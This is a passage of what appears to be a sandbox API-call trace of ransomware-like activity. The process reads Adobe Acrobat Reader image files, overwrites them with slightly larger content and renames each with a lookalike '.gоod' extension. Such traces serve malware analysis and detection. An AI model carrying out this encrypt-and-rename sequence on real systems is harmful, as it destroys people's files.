DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3bf2486b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12b5)) returned 1 [0106.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0106.930] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.gоod")) returned 1 [0106.931] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0106.931] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x34bfe30 | out: lpFileInformation=0x34bfe30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b)) returned 1 [0106.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0106.931] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0106.931] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.932] GetFileType (hFile=0x7b4) returned 0x1 [0106.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0106.932] GetFileType (hFile=0x7b4) returned 0x1 [0106.932] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0106.932] ReadFile (in: hFile=0x7b4, lpBuffer=0x34c03a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x34c03a8*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0107.256] CloseHandle (hObject=0x7b4) returned 1 [0107.256] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x83 [0107.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0107.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.259] GetFileType (hFile=0x7b4) returned 0x1 [0107.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0107.259] GetFileType (hFile=0x7b4) returned 0x1 [0107.259] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x235b [0107.289] WriteFile (in: hFile=0x7b4, lpBuffer=0x34fa310*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x34fa310*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0107.290] CloseHandle (hObject=0x7b4) returned 1 [0107.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x83 [0107.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0107.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.290] GetFileType (hFile=0x7b4) returned 0x1 [0107.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0107.290] GetFileType (hFile=0x7b4) returned 0x1 [0107.290] ReadFile (in: hFile=0x7b4, lpBuffer=0x34fc680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x34fc680*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0107.317] CloseHandle (hObject=0x7b4) returned 1 [0107.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x83 [0107.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0107.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.318] GetFileType (hFile=0x7b4) returned 0x1 [0107.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0107.318] GetFileType (hFile=0x7b4) returned 0x1 [0107.318] WriteFile (in: hFile=0x7b4, lpBuffer=0x34fb328*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x34fb328*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0107.318] CloseHandle (hObject=0x7b4) returned 1 [0107.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png", lpFilePart=0x0) returned 0x83 [0107.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.gоod", lpFilePart=0x0) returned 0x88 [0107.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0107.318] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3c2de3c8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x236b)) returned 1 [0107.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0107.318] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-144x144-precomposed.png.gоod")) returned 1 [0107.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x81 [0107.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0107.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x3578cb8 | out: lpFileInformation=0x3578cb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7)) returned 1 [0107.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0107.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x81 [0107.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0107.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0107.320] GetFileType (hFile=0x7b4) returned 0x1 [0107.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0107.320] GetFileType (hFile=0x7b4) returned 0x1 [0107.320] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0xac7 [0107.320] ReadFile (in: hFile=0x7b4, lpBuffer=0x3579b78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x3579b78*, lpNumberOfBytesRead=0x1fdec3e8*=0xac7, lpOverlapped=0x0) returned 1 [0107.656] CloseHandle (hObject=0x7b4) returned 1 [0107.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x81 [0107.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0107.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.947] GetFileType (hFile=0x768) returned 0x1 [0107.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0107.947] GetFileType (hFile=0x768) returned 0x1 [0107.947] WriteFile (in: hFile=0x768, lpBuffer=0x37bcc00*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x37bcc00*, lpNumberOfBytesWritten=0x1fdec2f8*=0xad0, lpOverlapped=0x0) returned 1 [0107.948] CloseHandle (hObject=0x768) returned 1 [0107.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png", lpFilePart=0x0) returned 0x81 [0107.948] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.gоod", lpFilePart=0x0) returned 0x86 [0107.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0107.948] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3c8d4380, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xad0)) returned 1 [0107.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0107.948] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.gоod")) returned 1 [0107.949] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x81 [0107.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0107.949] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x37bdff8 | out: lpFileInformation=0x37bdff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d)) returned 1 [0109.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0109.084] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x81 [0109.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0109.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.085] GetFileType (hFile=0x7b4) returned 0x1 [0109.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0109.085] GetFileType (hFile=0x7b4) returned 0x1 [0109.085] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0xe8d [0109.085] ReadFile (in: hFile=0x7b4, lpBuffer=0x33c4e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x33c4e18*, lpNumberOfBytesRead=0x1fdec3e8*=0xe8d, lpOverlapped=0x0) returned 1 [0109.086] CloseHandle (hObject=0x7b4) returned 1 [0109.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x81 [0109.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0109.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.130] GetFileType (hFile=0x7b4) returned 0x1 [0109.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0109.130] GetFileType (hFile=0x7b4) returned 0x1 [0109.130] WriteFile (in: hFile=0x7b4, lpBuffer=0x34410c0*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x34410c0*, lpNumberOfBytesWritten=0x1fdec2f8*=0xe90, lpOverlapped=0x0) returned 1 [0109.131] CloseHandle (hObject=0x7b4) returned 1 [0109.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png", lpFilePart=0x0) returned 0x81 [0109.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.gоod", lpFilePart=0x0) returned 0x86 [0109.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0109.131] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3d418f5a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe90)) returned 1 [0109.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0109.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-72x72-precomposed.png.gоod")) returned 1 [0109.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png", lpFilePart=0x0) returned 0x65 [0109.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0109.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ccloud.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ccloud.png"), fInfoLevelId=0x0, lpFileInformation=0x33ba348 | out: lpFileInformation=0x33ba348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a)) returned 1 [0109.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 